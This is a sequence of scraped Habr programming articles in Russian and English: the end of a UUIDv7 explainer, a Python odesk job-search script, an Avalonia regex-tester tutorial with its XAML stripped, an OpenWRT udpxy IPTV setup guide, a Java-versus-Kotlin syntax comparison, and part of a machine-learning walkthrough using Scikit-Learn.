14. [XID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-XID) by O. Poitrey
15. [ObjectID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-ObjectID) by MongoDB
16. [CUID](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-01#ref-CUID) by E. Elliott
И так, что же такого особого в UUIDv7 и чем он отличается от предыдущих версий?
Эта версия идентификатора бинарно-сортируемая. То есть, вам больше не нужно конвертировать значения UUID в какой-либо другой формат, чтобы понять какое из них больше и меньше.
> Ну а нам-то какая разница? Можно же сделать `select id, creation_date order by creation_date` и жить себе спокойно.
>
> - Обыватель.
>
>
Вы не поняли вопроса.
Тут дело не в том, как вам, программисту, удобнее делать SELECT. Вопрос в том, как база данных хранит индексы. Созданные последовательно, UUIDv4 будут выглядеть случайными. Соответственно, при записи значений этих индексов в базу данных, даже если значения были созданы в один и тот же промежуток времени, кластеризация будет нагружать индексы при записи.
Представьте, у вас есть высоконагруженная система. 100 серверов генерируют новые записи с UUID несколько раз в секунду, и всё это летит в Redis, которые грузит эти данные в Postgresql.
Ага. Вот тут вот жизнь с UUIDv7 становится проще. Значения индексов не настолько разбросаны и следить за ними намного проще.
Плюс, значения ключей можно очень просто и быстро отсортировать в бинарном формате. Возьмите первые 64 бита идентификатора, и сравните их как int64 с другим идентификатором, и вы уже знаете, какой был создан раньше.
Удобно, а?
Но, как же это работает?
------------------------
Ок, в отношении самой даты — тут всё просто. Запишите число, как unix timestamp и у вас есть что-то бинарно-сортируемое. Только я вас прошу, не стоит записывать эту дату кусками, в разнобой. Просто и понятно, первые 36 битов содержат в себе одно число. Но, если вы пытаетесь записать миллисекунды, то всё становится сложнее.
Давайте поговорим о математике. О приближении и лимитах. Любимая тема, а? Давайте посмотрим на следующую запись секунды: 05,625. Пять целых, шестьсот двадцать пять секунд. Отбрасываем 5, поскольку это будет записано в unix timestamp.
Если вы будете сохранять это значение в float, то выглядеть это будет страшно, с бинарной точки зрения. А если мы применим немного матана? Для начала разложим единицу в следующий ряд.
Достаточно, просто, правда? Если сложить все числа в этом ряду, то вы получите единицу. А что если складывать не каждый? Ну, с этим можно что-то сделать. Давайте присвоим каждому числу из этого ряда один бит. Каждый бит будет показывать, если этот член присутствует в ряду или нет.
Берём нашу суб-секундную точность, 0,625 и начинаем записывать эту точность с помощью битов.
Первое число 1/2, то есть 0,5. Если наше значение точности больше этого числа, то выставляем битовое значение в 1 и вычитаем это число из нашего текущего значения точности. В итоге получаем, битовую последовательность `1` и 0,125 в остатке.
Смотрим дальше 1/4, 0,25, однозначно больше чем 0,125. Соответственно, последовательность превращается в `10` и мы идём смотреть дальше. Продолжаем в том же духе, и выясняем, что для того, чтобы записать 0,625 в бинарном формате таким образом, нам надо написать: `101`, поскольку
Что самое приятное, в этой системе, так это то, что если вы урезаете количество бит с конца, то вы будете терять точность, но всё-же сохраните более или менее приближенное значение.
Значение сохраняется, и при этом, вы можете играть с количеством битов, которые вы расходуете на его запись. И — что самое главное — подобная запись производит бинарно-сортируемые значения.
Более того, существует очень простой математический способ выполнения этой операции. Для того чтобы закодировать любое число, сделайте следующее:
```
bits = 12
fraction = 0.321
subsec = round(fraction * 2**bits)
```
Ну и, понятное дело, для того, чтобы раскодировать, нужно сделать обратное.
```
bits = 12
subsec = 1315
fraction = round(subsec / 2**bits, 3)
```
Что мы получаем в итоге? Возможность сохранения времени с суб-секундной точностью в бинарно-сортируемом формате.
А в случае коллизий?
--------------------
Если вы генерируете значения на одном узле, то существует вероятность, что даже при наличии суб-секундной точности вы можете создать два идентификатора в один промежуток времени.
Для этого стандарт предусматривает наличие счётчика произвольной длинны, который должен монотонно увеличиваться, если даты совпадают.
И в дополнение, можно задать произвольное количество битов, которые будут идентифицировать компьютер, сгенерировавший значение. (Записывать MAC адрес в это поле не стоит, ибо уж слишком часто это вызывало вопросы с точки зрения безопасности).
Плюс, всё пространство, которое не используется для времени, счётчика и номера компьютера (порядка 54х бит) необходимо заполнять случайными значениями для предотвращения каких-либо совпадений на разных узлах.
Итого:
| | | | | |
| --- | --- | --- | --- | --- |
| Unix TS | Subsecond precision | Counter | Node | Random data |
Как это выглядит в итоге:
-------------------------
```
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| unixts |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|unixts | subsec_a | ver | subsec_b |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|var| subsec_seq_node |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| subsec_seq_node |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
Вот пример того, как данные записываются в UUIDv7.
Поля ver и var сохранены для совместимости с другими версиями идентификаторов (см. уже упомянутую [статью](https://habr.com/en/company/mailru/blog/522094/)).
Первые 36 бит занимает unix timestamp, что позволяет хранить даты до `4147-08-20 07:32:15 +0000 UTC`. Очень надеюсь, что этого хватит, для текущих проектов. Данные в остальных полях могут заполняться суб-секундной точностью, данными о номере узла и счетчиком.
На данный момент количество битов, задействованное для сохранения суб-секундной точности, номера узла и счётчика, не определены стандартом. С точки зрения базы данных, эта информация не является особо важной. Идентификатор будет выглядеть как любой нормальный идентификатор и вы сможете использовать его везде, где используются подобные UUID. А если вы знаете изначальные значения чисел, которые вы использовали при создании идентификатора, вы сможете распарсить эти значения без особых проблем.
Вот вам наглядный пример этого идентификатора:
UUIDv7 в природеЧто я знаю о `06115aa098-9277-0087-49a8-cb901fc2f7`? Всё очень просто.
* Он был создан в 2021-08-12 16:08:57 -0700 UTC-7 (с unix timestamp 1628809737)
* Наносекунды записаны как 0.535995
* Счётчик в данном случае не использовался
* Номер компьютера, который создал этот идентификатор, равняется 7.
* Последние 56 бит содержат в себе случайные данные.
Как я это знаю? Я знаю изначальную конфигурацию генератора, в которой записано, что наносекундная точность должна занимать 16 бит, счётчик — не более восьми бит, и номер узла в 6 бит, всё остальное — случайные данные. (Поля отмеченные красным цветом - это ver и var, которые сохранены для обратной совместимости)
Более того, я знаю, что `06115ad596-0873-0087-5764-c1f3730d90` был создан позже, чем `06115aa098-9277-0087-49a8-cb901fc2f7`, поскольку `06115ad` больше, чем `06115aa`. Чтобы мне это знать, мне даже не надо морочить голову с парсингом.
Почему же версия 7, а не 6?
---------------------------
На самом деле документ описывает три версии новых идентификаторов. 6, 7 и 8. Версия шесть обратно-совместима с версией 4, и сохраняет дату в старом формате. Версия 8 зарезервирована для тех панков, которым всё нужно делать по-своему, и не содержит в себе большого количества ограничений.
И что мне с этим делать?
------------------------
Если ты — системный разработчик, то подключайся к дискуссии. У нас уже есть бразильцы, венгры, американцы и очень сильно не хватает российского контингента.
На данный момент мы обсуждаем следующий вопрос: "[Стоит ли фиксировать количество битов для суб-секундной точности в стандарте, или пусть программисты разбираются?](https://github.com/uuid6/uuid6-ietf-draft/issues/24)"
Далее, если у тебя руки чешутся, то [здесь](https://github.com/uuid6/prototypes/) можно посмотреть готовые генераторы для разных языков. (Java, Dart, Python, Golang, JS, и так далее)
Я написал [свою имплементацию](https://github.com/uuid6/uuid6go-proto) на Golang. Эта очень странная версия, рассчитанная на то, что стандарт будет меняться, соответственно количество бит в каждом поле может измениться.
Более того, вот вам сайт-игрушка <http://www.new-uuid.info>. Одностраничный сайт, написаный на go+WASM, который использует мой пакет для генерации этих идентификаторов онлайн. Вы можете покрутить ручки, и уяснить, куда и как будут записаны биты вашего UUID.
Короче, подключайтесь, необходимо ещё разобраться с большим количеством вопросов, и в течении следующего месяца мы будем подавать третий вариант черновика на RFC. Я думаю, что тут без Хабра не обойдётся. | https://habr.com/ru/post/572700/ | null | ru | null |
# Скрипт поиска проектов на odesk.com
Хочу поделиться полезным скриптом для поиска проектов на odesk.com Честно говоря, я не понял, как на odesk.com задать вопрос с OR оператором, чтобы за один присест найти все интерсующие меня проекты, поэтому я искал в несколько подходов, что не очень удобно. Этот скрипт решает проблему. Я поставил его на крон, добавил закладку на локальный файл в браузер и просто смотрю её периодически.
Код скрипта под катом:
```
#!/usr/bin/env python
"""
Script for job search on odesk.com
Dependencies: lxml, pycurl, grab, jinja2
"""
from grab import Grab
from grab.tools.work import make_work
import urllib
from datetime import datetime, timedelta
from jinja2 import Template
import webbrowser
import tempfile
from codecs import open
import re
import os
import sys
QUERY_LIST = ['parsing', 'parse', 'scrape', 'sraping',
'python', 'django', 'scrapy', 'scraper',
'parser', 'scrapping', 'scrapper',
'ruby']
ROOT = os.path.dirname(os.path.realpath(__file__))
TEMPLATE = """
b {background-color: yellow; padding: 0.2em;}
.meta {font-size: 0.8em; font-family: sans-serif;}
.description {background-color: #e3e3e3; padding: 0.5em;}
{% for job in jobs %}
### {{ job.title }}
{{ job.date }} / {{ job.type }} / {{ job.amount }}$ /
[view]({{ job.url }})
{{ job.description.replace('\n', '
') }}
{% endfor %}
"""
def smart\_str(val):
"""
Normalize unicode and byte strings to byte strings.
"""
return val.encode('utf-8') if isinstance(val, unicode) else val
def highlight(data, word):
"""
Wrap all ``word`` entries in **tag.
"""
rex = re.compile(r'(%s)' % re.escape(word), re.I)
return rex.sub(r'**\1**', data)
def make\_query(query):
g = Grab()
now = datetime.now()
date\_posted = (now - timedelta(days=1)).strftime('%m-%d-%Y')
g.go('http://www.odesk.com/api/profiles/v1/search/jobs.xml?q=%s&dp=%s' % (
smart\_str(query), date\_posted))
jobs = []
for elem in g.css\_list('jobs job'):
def get(name):
values = elem.xpath('./%s/text()' % name)
return values[0] if len(values) else '-'
job = {
'id': int(get('op\_recno')),
'title': get('op\_title'),
'type': get('job\_type'),
'date': get('date\_posted'),
'description': highlight(get('op\_description'), query),
'amount': get('amount'),
'url': 'https://www.odesk.com/jobs/%s' % get('ciphertext'),
}
jobs.append(job)
return jobs
def main():
jobs = {}
for res in make\_work(make\_query, QUERY\_LIST, 20):
for job in res:
if not job['id'] in jobs:
jobs[job['id']] = job
jobs = sorted(jobs.values(), key=lambda x: x['id'], reverse=True)
print 'Total: %d' % len(jobs)
tpl = Template(TEMPLATE)
html = tpl.render(jobs=jobs)
if len(sys.argv) > 1 and sys.argv[1] == 'save':
with open(os.path.join(ROOT, 'result.html'), 'w', 'utf-8') as out:
out.write(html)
else:
fh, fname = tempfile.mkstemp(suffix='.html')
with open(fname, 'w', 'utf-8') as out:
out.write(html)
webbrowser.open('file:///%s' % fname)
if \_\_name\_\_ == '\_\_main\_\_':
main()**
```
Как использовать:
\* настроить нужные вам поисковые запросы
\* прописать в crontab: python script[.](https://grablab.org)py save
В скрипте использована библиотека для парсинга grab, о которой я уже [писал ранее](http://habrahabr.ru/blogs/python/127584/). | https://habr.com/ru/post/132994/ | null | ru | null |
# Regular Avalonia
Sometimes we don’t understand how the regular expression that we have composed works and want to check. There are many applications like regex101.com or vs code. I wanted to add one more to this list.
In this article we will see how you can wrap Regex in cross-platform graphics and create a simple application for testing regular expressions.
### Start
To create a project using avalonia ui, you need to install the templates from [GitHub](https://github.com/AvaloniaUI/avalonia-dotnet-templates) .
And create a project from the mvvm template.
```
dotnet new avalonia.mvvm -o MyApp
```
### Design and layout
To create the main window, place all the components inside the grid.
```
```
Our application consists of 2 parts: the upper analogue of the toolbar and the workspace.
#### Consider the top
Here we have a field for a regular expression, a checkbox showing how to analyze the text (line by line or as a whole fragment) and a help button.
We use Dock panel as container. This control allows you to easily fill the container with elements, pressing them to different sides and ensuring no free space inside.
```
```
And fill it with a text input field:
```
```
Here it is worth noting a pleasant trifle for Avalonia ui — the presence of watermark in text fields.
Add a checkbox with 2 states to the panel, as indicated by **IsThreeState = «False»** :
```
```
And the button responsible for calling the help:
```
```
**Body**
The main part will be placed in the grid:
```
```
The input field is represented by the text box:
```
```
The splitter allows you to choose a convenient visualization for your needs:
```
```
And the field responsible for displaying the result of applying regular expressions will be placed in the border because the text block does not have its own frame:
```
```
**Help window**
To create a new window, let's turn to the terminal
```
dotnet new avalonia.window -na MyApp -n MyNewWindow
```
This window will contain only information and nothing else, so, ignoring the containers, make the listbox as achild of this window:
```
```
And fill it with the same elements as needed:
```
```
The layout is quite simple: a stack panel with 2 fields, the only thing worth mentioning here is the **Classes** attribute, which allows us to stylize our windows like css (another nice feature of Avalonia.)
And actually paint the rules themselves in green:
```
<Setter Property = "Foreground" Value = "Green" />
```
### Mvvm functionality
First, let's take care of the fields for all the markup elements:
```
private bool _isChecked;
private string _inputText;
private string _regText;
private string _outputText;
```
Let's create methods that will return the results of the match with the original text:
```
private void SetNoRowResult ()
{
OutputText = string.Join (Environment.NewLine, new Regex (_regText) .Matches (_inputText));
}
```
And with the source text along the lines, for which we use Split
```
private void SetRowResult ()
{
var r = new Regex (_regText);
var s = string.Empty;
foreach (var line in _inputText.Split (Environment.NewLine, StringSplitOptions.RemoveEmptyEntries))
{
s + = $ "- {Environment.NewLine}";
s + = string.Join (Environment.NewLine, r.Matches (line));
s + = $ "{Environment.NewLine} - {Environment.NewLine}";
}
OutputText = s;
}
```
And add a method that displays the help window
```
public void ShowHelp ()
{
new HelpWindow (). Show ();
}
```
**Properties and Bindings**
An interesting feature of Avalonia is the ability to attach a method directly to a button:
```
```
Which we will use.
For others fields, we simply bind to the properties. An interesting feature here is that in avalonia, binding updates occur when the content of the control changes, which was done in the wpf: **UpdateSourceTrigger = PropertyChanged** in avalonia works by default.
And since the Avalonia mvvm template is included the Reactive UI, the properties are created using this library:
```
public string RegText
{
get => _regText;
set
{
this.RaiseAndSetIfChanged (ref _regText, value);
if (_isChecked) SetRowResult ();
else SetNoRowResult ();
}
}
```
**In conclusion**
I hope that this article will be of interest not only to those who want to use my material and / or somehow improve it, but also to all those who are familiar with Avalonia or are looking for ways to create cross-platform applications in C#.
Source code ( [here](https://gitlab.com/maindlab/rege)).
I would like to say thanks [ForNeVeR](https://habr.com/ru/users/fornever/) [kekekeks](https://habr.com/ru/users/kekekeks/) [worldbeater](https://habr.com/ru/users/worldbeater/) | https://habr.com/ru/post/470101/ | null | en | null |
# Настройка IPTV в OpenWRT Asus RT-N13U
Столкнулся с проблемой прошивки на своем роутере. Никак не хотел работать стабильно. В итоге, перепробовав кучу разных прошивок, остановился на OpenWRT. Для желающих установить следуем [сюда](http://wiki.openwrt.org/toh/asus/rt-n13u).
Итак, я отвлёкся. Мой провайдер предоставляет доступ к IPTV, поэтому изредка за работой я включаю себе что-нибудь из телепередач. Перейдя на данную прошивку заметил, что стандартной настройки UDP-HTTP в ней нет. Поэтому начал рыть рунет на предмет чего-нибудь, что поможет мне в данной ситуации. В результате набрел на статью [Silver\_Clash](http://habrahabr.ru/users/silver_clash/) [«Настройка IPTV в OpenWRT»](http://habrahabr.ru/post/138735/), однако по описанному методу у меня сделать ничего не получилось. Провозившись до 5 утра и найдя в комментариях заветные строки, я его запустил. Теперь хочу поделиться инструкцией с читателями.
Первым делом заходим на ваш роутер по ssh под root пользователем. Все настройки будем производить из консоли.
Устанавливаем udpxy:
```
opkg update
opkg install udpxy
```
После успешной установки проверим что udpxy запускается:
```
/usr/bin/udpxy
```
Если всё в порядке, команда выведет версию udpxy и ее основные опции.
Перейдем, собственно, к настройке (мне было удобнее работать с файлами на роутере через графический интерфейс приложения WinSCP). Открываем файл настроек udpxy (как вам будет удобнее, но напишу для тех, кто работает в putty):
```
vi /etc/config/udpxy
```
\*в случае, если будет установлена новая версия, возможен вариант изменения названия файла настроек, тогда команда будет выглядеть так:
```
vi /etc/config/udpxy-opkg
```
\*
Скорее всего, вы увидите что-то такое:
```
config udpxy
option verbose '0'
option status '1'
# option bind '0.0.0.0'
option port '4022'
# option source '0.0.0.0'
# option max_clients '5'
# option log_file '/var/log/udpxy'
# option buffer_size '4096'
# option buffer_messages '-1'
# option buffer_time '-1'
# option nice_increment '0'
# option mcsub_renew '0'
```
Тут вам необходимо изменить (или оставить как есть) порт, на котором будет крутиться udpxy.
Изменили? Тогда идем далее.
Запускаем кодировщик командой:
```
/etc/init.d/udpxy start
```
Проверить запустилась ли udpxy можно при помощи команды:
```
ps |grep udpxy
```
Если вы видите в результате только одну строку, возвращайтесь к настройкам и проверяйте, что вы сделали не так. Если все верно, вы увидите что-то вроде:
```
2035 root 844 S /usr/bin/udpxy -T -p 4022 -S
2158 root 1476 S grep udpxy
```
Можно открыть в браузере страничку [192.168.1.1](http://192.168.1.1):4022/status для проверки что всё работает.
Теперь нужно прописать наш стартовый скрипт в автозагрузку.
```
/etc/init.d/udpxy enable
```
Теперь необходимо настроить фаервол для udp трафика:
```
config rule
option src 'wan'
option proto 'igmp'
option target 'ACCEPT'
config rule
option src 'wan'
option proto 'udp'
option dest_ip '224.0.0.0/4'
option target 'ACCEPT'
```
Эти правила добавляем в /etc/config/firewall, после этого перезапускаем службу:
```
/etc/init.d/firewall restart
```
Есть еще одна проблема, когда нет прописанного маршрута для мультикаста (у меня этот момент был критичным).
Тогда добавляем этот статический маршрут в cron:
```
@daily route add -net 224.0.0.0/4 dev eth0.2 metric 1
```
И для надежности прописываем в ssh:
```
route add -net 224.0.0.0/4 dev eth0.2 metric 1
```
eth0.2 — это интерфейс, на который wan порт прицеплен.
Теперь можно перезагрузить и сам роутер, чтобы убедиться, что все необходимые службы запускаются, и все работает именно так, как мы задумали.
Берем список каналов у провайдера и все ссылки преобразуем так, как описано в мануале к udpxy:
http://{address}:{port}/{protocol}/{channel\_addr}:{channel\_port}
То есть если у вас в списке каналов указано:
```
udp://@239.77.0.93:1234
```
То на выходе должно получиться:
```
http://192.168.1.1:4022/udp/239.77.0.93:1234
```
Спасибо за внимание. | https://habr.com/ru/post/254243/ | null | ru | null |
# 5 лаконичных синтаксисов Java, которых мне не хватает в Kotlin
С 2016 года, после того, как я начал использовать Kotlin в Android-разработке, то ни разу не скучал по Java. В целом, Kotlin дал мне большее удовлетворение от разработки, чем Java для Android.
Тем не менее, время от времени я натыкаюсь на такие вещи, которых мне очень не хватает; того, как они были реализованы в Java. Ниже представлены 5 из них.
### 1. Тернарный оператор
В Java для простой булевой логики вместо того, чтобы писать if-else, мы можем использовать тернарный оператор, как показано ниже.
```
selector ? function1() : function2();
```
В Kotlin нам придется прибегнуть к традиционному if-else
```
if (selector) function1() else function2()
```
Не так уж плохо. Просто он чуть более многословен, чем тернар, который мне нравится использовать в Java.
### 2. Статическая переменная
В Java, чтобы объявить статическую переменную в классе, достаточно использовать традиционный стиль языка C, просто поставив перед ней ключевое слово `static`.
```
class SomeClass {
static int STATIC_INTEGER = 1
}
```
А в Kotlin мы должны использовать вложенный `companion object`.
```
class SomeClass {
companion object {
val static_integer = 1
}
}
```
Конечно, `companion object` в целом является более мощной функцией Kotlin в сравнении со `static` в Java, как утверждается в этом [StackOverflow](https://stackoverflow.com/a/38382433/3286489).
Однако, если мне нужна всего лишь одна статическая переменная в классе, то придется сделать еще один вложенный слой с отступом в виде дополнительных строк, что создает у меня сильное ощущение бойлерплейта.
### 3. Побитовый оператор
В Java [у нас есть лаконичный побитовый оператор](https://www.geeksforgeeks.org/bitwise-operators-in-java/). Применив его, я могу прописать более традиционный способ обработки битов, известный нам ещё со времён языка C.
```
int twoPowerOf = 2<
```
В Kotlin мы можем сделать это, [используя побитовые ключевые слова](https://www.programiz.com/kotlin-programming/bitwise).
```
val twoPowerOf = 2 shl x
var removeTransparent = 0xFF000000 or color
```
Не так уж и плохо. Просто это не совсем традиционно.
### 4. Цикл инкремента чисел с плавающей точкой
Когда я нарисовал графики, как показано ниже, мне нужно циклически перебрать числа с плавающей точкой.
В Java можно легко сделать это так:
```
for (float i = 0; i <= 10; i += 0.1) {
// Do something with i
}
```
В Kotlin у нас нет традиционной возможности использовать цикл. Но мы все равно можем проделать это, как показано ниже, и вручную разделить:
```
(0..100).forEach {
val i = it/10f
// Do something with i
}
```
Или использовать цикл с предусловием (while-loop), как [поделились](https://stackoverflow.com/a/59347640) [в этом StackOverflow](https://stackoverflow.com/a/59347640). Недостатком while-loop является то, что управляющая переменная должна быть установлена и инкрементирована вне цикла.
```
var i = 0f
while (i <= 10f) {
// Do something with i
i += 0.1f
}
```
### 5. Объявление нескольких переменных
В Java можно объявить несколько переменных одного типа, как показано ниже:
```
int w = 8, x = 10, y = 12, z = 14;
```
В Kotlin, поскольку тип иногда выводится, лучшее, что мы можем сделать, это использовать точку с запятой:
```
val w = 8; val x = 10; val y = 12; val z = 14
```
Получилось чуть более многословно. Полагаю, что не стоит жаловаться, поскольку в Kotlin существует умная возможность неявного приведения типов при компиляции.
Ни один язык не совершенен. В целом, я по-прежнему люблю Kotlin за его исключительную лаконичность. Все вышеперечисленные неудобства относительно малы и незначительны. Вероятно, когда-нибудь некоторые из них будут разрешены и станут его полноправной частью.
---
*Перевод материала подготовлен для будущих учащихся на Java Developer Bootcamp. Также скоро состоится* [*открытый урок*](https://otus.pw/OQzh/) *«****Разветывание и управление java-сервисами в облаке****», на который приглашаем всех желающих. На этом занятии мы собираемся:*
* *увидеть docker и kubernetes в работе;*
* *научиться средствами github настраивать непрерывное развертывание сервиса в облаке;*
* *познакомиться со средствами мониторинга состояние сервиса и используемых им ресурсов;*
* *найти и исправить баги.* | https://habr.com/ru/post/649643/ | null | ru | null |
# Делаем проект по машинному обучению на Python. Часть 2
*Перевод [A Complete Machine Learning Walk-Through in Python: Part Two](https://towardsdatascience.com/a-complete-machine-learning-project-walk-through-in-python-part-two-300f1f8147e2)*
Собрать воедино все части проекта по машинному обучению бывает весьма непросто. В этой серии статей мы пройдём через все этапы реализации процесса машинного обучения с использованием реальных данных, и узнаем, как сочетаются друг с другом различные методики.
В [первой статье](https://habr.com/company/nixsolutions/blog/425253/) мы очистили и структурировали данные, провели разведочный анализ, собрали набор признаков для использования в модели и установили базовый уровень для оценки результатов. С помощью этой статьи мы научимся реализовывать на Python и сравнивать несколько моделей машинного обучения, проводить гиперпараметрическую настройку для оптимизации лучшей модели, и оценивать работу финальной модели на тестовом наборе данных.
Весь код проекта лежит [на GitHub](https://github.com/WillKoehrsen/machine-learning-project-walkthrough), а [здесь](https://github.com/WillKoehrsen/machine-learning-project-walkthrough/blob/master/Machine%20Learning%20Project%20Part%202.ipynb) находится второй блокнот, относящийся к текущей статье. Можете использовать и модифицировать код по своему усмотрению!
Оценка и выбор модели
---------------------
Памятка: мы работаем над задачей с контролируемой регрессией, используем [информацию об энергопотреблении зданий в Нью-Йорке](https://www.energystar.gov/buildings/facility-owners-and-managers/existing-buildings/use-portfolio-manager/interpret-your-results/what) для создания модели, которая прогнозировала бы, какой балл [Energy Star Score](https://www.energystar.gov/buildings/facility-owners-and-managers/existing-buildings/use-portfolio-manager/interpret-your-results/what) получит то или иное здание. Нас интересует как точность прогнозирования, так и интерпретируемость модели.
Сегодня вы можете выбирать из [множества доступных моделей машинного обучения](http://scikit-learn.org/stable/supervised_learning.html), и это изобилие бывает пугающим. Конечно, в сети есть [сравнительные обзоры](https://docs.microsoft.com/en-us/azure/machine-learning/studio/algorithm-cheat-sheet), которые помогут сориентироваться при выборе алгоритма, но я предпочитаю попробовать в работе несколько и посмотреть, какой лучше. Машинное обучение по большей части основывается на [эмпирических, а не теоретических результатах](https://www.quora.com/How-much-of-deep-learning-research-is-empirical-versus-theoretical), и практически [невозможно заранее понять, какая модель окажется точнее](http://www.statsblogs.com/2014/01/25/machine-learning-lesson-of-the-day-the-no-free-lunch-theorem/).
Обычно рекомендуется начинать с простых, интерпретируемых моделей, таких как линейная регрессия, и если результаты будут неудовлетворительными, то переходить к более сложным, но обычно более точным методам. На этом графике (весьма антинаучном) показана взаимосвязь точности и интерпретируемости некоторых алгоритмов:
*Интерпретируемость и точность ([Источник](http://blog.fastforwardlabs.com/2017/09/01/LIME-for-couples.html)).*
Мы будем оценивать пять моделей разной степени сложности:
* Линейная регрессия.
* Метод k-ближайших соседей.
* «Случайный лес».
* Градиентный бустинг.
* Метод опорных векторов.
Мы рассмотрим не теоретический аппарат этих моделей, а их реализацию. Если вас интересует теория, можете почитать [An Introduction to Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/) (можно скачать бесплатно) или [Hands-On Machine Learning with Scikit-Learn and TensorFlow](http://shop.oreilly.com/product/0636920052289.do). В обеих книгах прекрасно объяснена теория и показана эффективность использования упомянутых методов на языках R и Python соответственно.
#### Заполняем отсутствующие значения
Хотя при очистке данных мы отбросили колонки, в которых не хватает больше половины значений, у нас ещё отсутствует немало значений. Модели машинного обучения не могут работать с отсутствующими данными, поэтому нам нужно их [заполнить](https://en.wikipedia.org/wiki/Imputation_(statistics)).
Сначала считаем данные и вспоминаем, как они выглядят:
```
import pandas as pd
import numpy as np
# Read in data into dataframes
train_features = pd.read_csv('data/training_features.csv')
test_features = pd.read_csv('data/testing_features.csv')
train_labels = pd.read_csv('data/training_labels.csv')
test_labels = pd.read_csv('data/testing_labels.csv')
Training Feature Size: (6622, 64)
Testing Feature Size: (2839, 64)
Training Labels Size: (6622, 1)
Testing Labels Size: (2839, 1)
```
Каждое `NaN`-значение — это отсутствующая запись в данных. [Заполнять их можно по-разному](https://www.omicsonline.org/open-access/a-comparison-of-six-methods-for-missing-data-imputation-2155-6180-1000224.php?aid=54590), а мы воспользуемся достаточно простым методом медианного заполнения (median imputation), который заменяет отсутствующие данные средним значениями по соответствующим колонкам.
В нижеприведённом коде мы создадим [Scikit-Learn](http://scikit-learn.org/stable/)-объект `Imputer` с медианной стратегией. Затем обучим его на обучающих данных (с помощью `imputer.fit`), и применим для заполнения отсутствующих значений в обучающем и тестовом наборах (с помощью `imputer.transform`). То есть записи, которых не хватает в *тестовых данных*, будут заполняться соответствующим медианным значением из *обучающих данных*.
Мы делаем заполнение и не обучаем модель на данных как есть, чтобы избежать проблемы с [утечкой тестовых данных](https://www.kaggle.com/dansbecker/data-leakage), когда информация из тестового датасета переходит в обучающий.
```
# Create an imputer object with a median filling strategy
imputer = Imputer(strategy='median')
# Train on the training features
imputer.fit(train_features)
# Transform both training data and testing data
X = imputer.transform(train_features)
X_test = imputer.transform(test_features)
Missing values in training features: 0
Missing values in testing features: 0
```
Теперь все значения заполнены, пропусков нет.
#### Масштабирование признаков
[Масштабированием](https://en.wikipedia.org/wiki/Feature_scaling) называется общий процесс изменения диапазона признака. [Это необходимый шаг](https://stats.stackexchange.com/questions/121886/when-should-i-apply-feature-scaling-for-my-data), потому что признаки измеряются в разных единицах, а значит покрывают разные диапазоны. Это сильно искажает результаты таких алгоритмов, как [метод опорных векторов](https://stats.stackexchange.com/questions/305906/feature-scaling-in-svm-does-it-depend-on-the-kernel) и метод k-ближайших соседей, которые учитывают расстояния между измерениями. А масштабирование позволяет этого избежать. И хотя методы вроде [линейной регрессии и «случайного леса»](https://stats.stackexchange.com/questions/121886/when-should-i-apply-feature-scaling-for-my-data) не требует масштабирования признаков, лучше не пренебрегать этим этапом при сравнении нескольких алгоритмов.
Масштабировать будем с помощью приведения каждого признака к диапазону от 0 до 1. Берём все значения признака, выбираем минимальное и делим его на разницу между максимальным и минимальным (диапазон). Такой способ масштабирования часто называют [нормализацией, а другой основной способ — стандартизацией](https://machinelearningmastery.com/normalize-standardize-machine-learning-data-weka/).
Этот процесс легко реализовать вручную, поэтому воспользуемся объектом `MinMaxScaler` из Scikit-Learn. Код для этого метода идентичен коду для заполнения отсутствующих значений, только вместо вставки применяется масштабирование. Напомним, что учим модель только на обучающем наборе, а затем преобразуем все данные.
```
# Create the scaler object with a range of 0-1
scaler = MinMaxScaler(feature_range=(0, 1))
# Fit on the training data
scaler.fit(X)
# Transform both the training and testing data
X = scaler.transform(X)
X_test = scaler.transform(X_test)
```
Теперь у каждого признака минимальное значение равно 0, а максимальное 1. Заполнение отсутствующих значений и масштабирование признаков — эти два этапа нужны почти в любом процессе машинного обучения.
#### Реализуем в Scikit-Learn модели машинного обучения
После всех подготовительных работ процесс создания, обучения и прогона моделей относительно прост. Мы будем использовать в Python библиотеку [Scikit-Learn](http://scikit-learn.org/stable/documentation.html), прекрасно документированную и с продуманным синтаксисом построения моделей. Научившись создавать модель в Scikit-Learn, вы сможете быстро реализовывать всевозможные алгоритмы.
Иллюстрировать процесс создания, обучения (`.fit` ) и тестирования (`.predict` ) мы будем с помощью градиентного бустинга:
```
from sklearn.ensemble import GradientBoostingRegressor
# Create the model
gradient_boosted = GradientBoostingRegressor()
# Fit the model on the training data
gradient_boosted.fit(X, y)
# Make predictions on the test data
predictions = gradient_boosted.predict(X_test)
# Evaluate the model
mae = np.mean(abs(predictions - y_test))
print('Gradient Boosted Performance on the test set: MAE = %0.4f' % mae)
Gradient Boosted Performance on the test set: MAE = 10.0132
```
Всего по одной строке кода на создание, обучение и тестирование. Для построения других моделей воспользуемся тем же синтаксисом, меняя только название алгоритма.
Чтобы объективно оценивать модели, мы с помощью медианного значения цели вычислили базовый уровень и получили 24,5. А полученные результаты оказались значительно лучше, так что нашу задачу можно решить с помощью машинного обучения.
